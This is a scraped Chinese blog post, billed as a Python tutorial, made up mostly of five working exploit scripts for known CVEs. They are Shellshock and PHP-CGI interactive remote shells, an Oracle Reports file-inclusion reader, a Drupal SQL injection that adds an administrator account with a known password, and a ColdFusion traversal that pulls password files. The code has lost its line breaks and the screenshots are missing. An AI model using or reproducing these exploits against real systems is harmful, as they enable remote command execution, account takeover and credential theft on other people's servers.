[python] Python Tutorials: Use Case

来源:互联网 发布:tcp网络编程linux 编辑:程序博客网 时间:2024/05/29 18:50

这篇文章将给出几个python的漏洞利用代码
1.CVE-2014-6271
这段代码通过无限循环从用户那里得到输入并作为payload放到HTTP请求中,抓包可见构造的HTTP请求,并且可见被更改的User-Agent头。

源代码:

#!/usr/bin/pythonimport sys, urllib2    # Import the required modules for the vulnerability if len(sys.argv) != 2:    # Checks to be sure that a URL was supplied as a sys argument "<script> <URL>"print "Usage: "+sys.argv[0]+" <URL>"sys.exit(0) URL=sys.argv[1]        # Assigns URL variable and prints out messageprint "[+] Attempting Shell_Shock - Make sure to type full path" while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variablecommand=raw_input("~$ ")opener=urllib2.build_opener()        # Modifying the default request to include the attack string via User-Agentopener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; /bin/bash -c "'+command+'"')]try:                    # Sets up a Try/Except loop so exceptions are handled cleanlyresponse=opener.open(URL)    # Sends request and prints the responsefor line in response.readlines():print line.strip()except Exception as e: print e
运行过程:


数据包:


2.CVE-2012-1823

PHP-CGI远程代码执行漏洞,通过一个无线循环,从用户输入那里得到命令,并且放到HTTP POST请求中。

源代码:

#!/usr/bin/pythonimport sys, urllib2    # Import the required modules for the script if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"print "Usage: "+sys.argv[0]+" <URL>"sys.exit(0) URL=sys.argv[1]        # Assigns URL variable and prints out messageprint "[+] Attempting CVE-2012-1823 - PHP-CGI RCE" while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variablecommand=raw_input("~$ ")Host = URL.split('/')[2]      # Parse host from URL: 'http://<host>/' will parse out <host>headers = {                   # Set the appropriate headers for the response'Host': Host,'User-Agent': 'Mozilla','Connection': 'keep-alive'}data = "<?php system('"+command+"');die(); ?>"        # PHP to run on the serverreq = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers) try:                    # Sets up a Try/Except loop so exceptions are handled cleanlyresponse = urllib2.urlopen(req)     # Actually makes the requestfor line in response.readlines():print line.strip()except Exception as e: print e
运行过程:


数据包:


3.CVE-2012-3152
Oracle Reports 本地文件包含漏洞
这个代码的一个特色是使用了彩色输出,需要下载一个名为termcolor的模块。
在ubuntu环境下安装python模块的步骤如下


源代码:

#!/usr/bin/pythonimport sys, urllib2    # Import the required modules for the vulnerabilityfrom termcolor import colored   # Need to download python module "termcolor" if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"print "Usage: "+sys.argv[0]+" <URL>"sys.exit(0) URL=sys.argv[1]        # Assigns URL variable and prints out messageprint "[+] Attempting CVE-2012-3152 - Oracle Reports LFI" while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variableresource=raw_input(colored("~$ ", "red"))req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'try:                    # Sets up a Try/Except loop so exceptions are handled cleanlyresponse=urllib2.urlopen(URL+req)# Sends request and prints the responsefor line in response.readlines():print line.strip()except Exception as e: print e
执行过程:

数据包:

4.CVE-2014-3704
Drupal存在一个严重的认证前SQL注入漏洞,下面的代码将演示怎样利用此漏洞添加一个管理员用户。
程序会提示用户输入希望添加的用户名,密码默认是password,然后将这些信息放到payload当中。

源代码:

#!/usr/bin/pythonimport sys, urllib2 # Import the required modules for the script if len(sys.argv) != 2: # Checks to make sure that a URL was supplied as a sys argument "[script] [URL]"print "Usage: "+sys.argv[0]+" [URL]"sys.exit(0) URL=sys.argv[1] # Assigns URL variable and prints out messageprint "[+] Attempting CVE-2014-3704 Drupal 7.x SQLi"user=raw_input("Username to add: ") # Gets username from user input Host = URL.split('/')[2] # Parse host from URL: 'http://<host>/' will parse out <host>headers = { # Set the appropriate headers for the response'Host': Host,'User-Agent': 'Mozilla','Connection': 'keep-alive'} # SQL Query send in body of post via the data variable: # insert into users (uid, name, pass, mail, status) select max(uid)+1, '"+user+"', '[password_hash]', 'email@gmail.com', 1 from users; insert into users_roles (uid, rid) VALUES ((select uid from users where name='"+user+"'), (select rid from role where name = 'administrator') data = "name%5b0%20%3binsert%20into%20users%20%28uid%2c%20name%2c%20pass%2c%20mail%2c%20status%29%20select%20max%28uid%29%2b1%2c%20%27"+user+"%27%2c%20%27%24S%24$S$CTo9G7Lx27gCe3dTBYhLhZOTqtJrlc7n31BjHl/aWgfK82GIACiTExGY3A9yrK1l3DdUONFFv8xV8SH9wr4r23HJauz47c/%27%2c%20%27email%40gmail.com%27%2c%201%20from%20users%3b%20insert%20into%20users_roles%20%28uid%2c%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3d%27"+user+"%27%29%2c%20%28select%20rid%20from%20role%20where%20name%20%3d%20%27administrator%27%29%29%3b%3b%20%23%20%5d=zRGAcKznoV&name%5b0%5d=aYxxuroJbo&pass=lGiEbjpEGm&form_build_id=form-5gCSidRr8NruKFEYt3eunbFEhLCfJaGuqGAnu80Vv0M&form_id=user_login_block&op=Log%20in"req = urllib2.Request(URL+"?q=node&destination=node", data, headers) try: # Sets up a Try/Except loop so exceptions are handled cleanlyresponse = urllib2.urlopen(req) # Actually makes the requestprint "Account created with user: "+user+" and password: password"except Exception as e: print e
执行过程:

数据包:


5.CVE-2010-2861 Adobe ColdFusion - Directory Traversal Vulnerability
这段代码没有直接调用urllib和urllib2模块发送POST请求。而是利用TCP操作,连接80端口,随后在字符串中构造POST包发送。这种做法的好处是,如果web服务没有监听在标准端口,也能够攻击。
这段代码的大概流程为:向某个端口(一般为80),发送字符串(HTTP请求),得到服务器的响应,随后根据正则表达式得到想要的内容。

import sysimport socketimport refilenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")post = """POST %s HTTP/1.1Host: %sConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: %dlocale=%%00%s%%00a"""def main():if len(sys.argv) != 4:print "usage: %s <host> <port> <file_path>" % sys.argv[0]print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]print "if successful, the file will be printed"returnhost = sys.argv[1]port = sys.argv[2]path = sys.argv[3]for f in filenames:print "------------------------------"print "trying",fs = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))s.send(post % (f,host,len(path)+14,path))buf = ""while 1:buf_s = s.recv(1024)if len(buf_s) == 0:breakbuf += buf_sm = re.search('<title>(.*)</title>',buf,re.S)if m != None:title = m.groups(0)[0]print "title from server in %s:" % fprint "------------------------------"print m.group(0)[0]print "------------------------------"if __name__ == "__main__":main()
首先看看程序的容错报错

正常执行代码

看一下第一个数据包




0 0
原创粉丝点击